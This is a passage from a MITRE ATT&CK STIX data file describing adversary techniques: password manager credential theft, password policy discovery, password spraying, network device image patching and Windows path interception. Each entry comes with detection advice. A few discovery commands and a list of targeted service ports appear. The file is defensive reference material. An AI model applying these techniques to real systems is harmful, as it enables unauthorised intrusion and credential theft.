            "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",
            "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-14T19:15:22.416Z",
            "created": "2021-01-22T16:08:40.629Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "File: File Access",
                "Process: Process Access",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Matt Burrough, @mattburrough, Microsoft"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Policy Discovery",
            "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1201",
                    "url": "https://attack.mitre.org/techniques/T1201"
                },
                {
                    "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
                    "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.",
                    "source_name": "Superuser Linux Password Policies"
                },
                {
                    "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines",
                    "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.",
                    "source_name": "Jamf User Password Policies"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-09-29T14:48:07.227Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Sudhanshu Chauhan, @Sudhanshu_C"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "id": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
            "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
            "name": "Password Spraying",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1110.003",
                    "url": "https://attack.mitre.org/techniques/T1110/003"
                },
                {
                    "external_id": "CAPEC-565",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/565.html"
                },
                {
                    "url": "http://www.blackhillsinfosec.com/?p=4645",
                    "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.",
                    "source_name": "BlackHillsInfosec Password Spraying"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
                },
                {
                    "source_name": "Trimarc Detecting Password Spraying",
                    "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing",
                    "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-06T12:32:47.678Z",
            "created": "2020-02-11T18:39:25.122Z",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace",
                "Containers"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.2",
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Application Log: Application Log Content"
            ],
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)",
                "John Strand"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1601.001",
                    "url": "https://attack.mitre.org/techniques/T1601/001"
                },
                {
                    "source_name": "Killing the myth of Cisco IOS rootkits",
                    "url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf",
                    "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Killing IOS diversity myth",
                    "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf",
                    "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Cisco IOS Shellcode",
                    "url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf",
                    "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020."
                },
                {
                    "source_name": "Cisco IOS Forensics Developments",
                    "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf",
                    "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020."
                },
                {
                    "source_name": "Juniper Netscreen of the Dead",
                    "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf",
                    "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Patch System Image",
            "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).  Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",
            "id": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-10-22T17:50:46.560Z",
            "created": "2020-10-19T19:49:24.129Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",
            "x_mitre_data_sources": [
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Network"
            ]
        },
        {
            "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Path Interception",
            "description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1034",
                    "url": "https://attack.mitre.org/techniques/T1034"
                },
                {
                    "external_id": "CAPEC-159",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/159.html"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/",
                    "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.",
                    "source_name": "TechNet MS14-019"
                },
                {
                    "url": "http://support.microsoft.com/KB/103000",
                    "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.",
                    "source_name": "Microsoft Subkey"
                },
                {
                    "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
                    "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.",
                    "source_name": "Baggett 2012"
                },
                {
                    "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
                    "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
                    "source_name": "SecurityBoulevard Unquoted Services APR 2018"
                },
                {
                    "url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
                    "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
                    "source_name": "SploitSpren Windows Priv Jan 2018"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120",
                    "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.",
                    "source_name": "Hill NT Shell"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms687393",
                    "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft WinExec"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx",
                    "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.",
                    "source_name": "MSDN Environment Property"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "revoked": false,
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-07-06T18:49:35.645Z",
            "created": "2017-05-31T21:30:36.140Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_effective_permissions": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_deprecated": true
        },
        {
            "created": "2020-03-13T14:10:43.424Z",
            "modified": "2020-09-16T16:56:34.583Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.007",
                    "url": "https://attack.mitre.org/techniques/T1574/007"
                },
                {
                    "external_id": "CAPEC-13",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/13.html"
                },
                {
                    "external_id": "CAPEC-38",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/38.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Path Interception by PATH Environment Variable",
            "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes </code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.",
            "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
            "x_mitre_defense_bypassed": [
                "Application control"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2",
            "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).",
            "name": "Path Interception by Search Order Hijacking",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.008",
                    "url": "https://attack.mitre.org/techniques/T1574/008"
                },
                {
                    "external_id": "CAPEC-159",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/159.html"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "source_name": "Windows NT Command Shell",
                    "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120",
                    "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014."
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms687393",
                    "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft WinExec"
                },
                {
                    "source_name": "Microsoft Environment Property",
                    "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN",
                    "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-09-17T19:03:35.217Z",
            "created": "2020-03-13T17:48:58.999Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n",
            "x_mitre_permissions_required": [
                "Administrator",
                "User",
                "SYSTEM"
            ],
            "x_mitre_effective_permissions": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.009",
                    "url": "https://attack.mitre.org/techniques/T1574/009"
                },
                {
                    "external_id": "CAPEC-38",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/38.html"
                },
                {
                    "source_name": "Microsoft CurrentControlSet Services",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
                    "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020."
                },
                {
                    "source_name": "Help eliminate unquoted path",
                    "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
                    "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012."
                },
                {
                    "source_name": "Windows Unquoted Services",
                    "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
                    "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018."
                },
                {
                    "source_name": "Windows Privilege Escalation Guide",
                    "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
                    "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Path Interception by Unquoted Path",
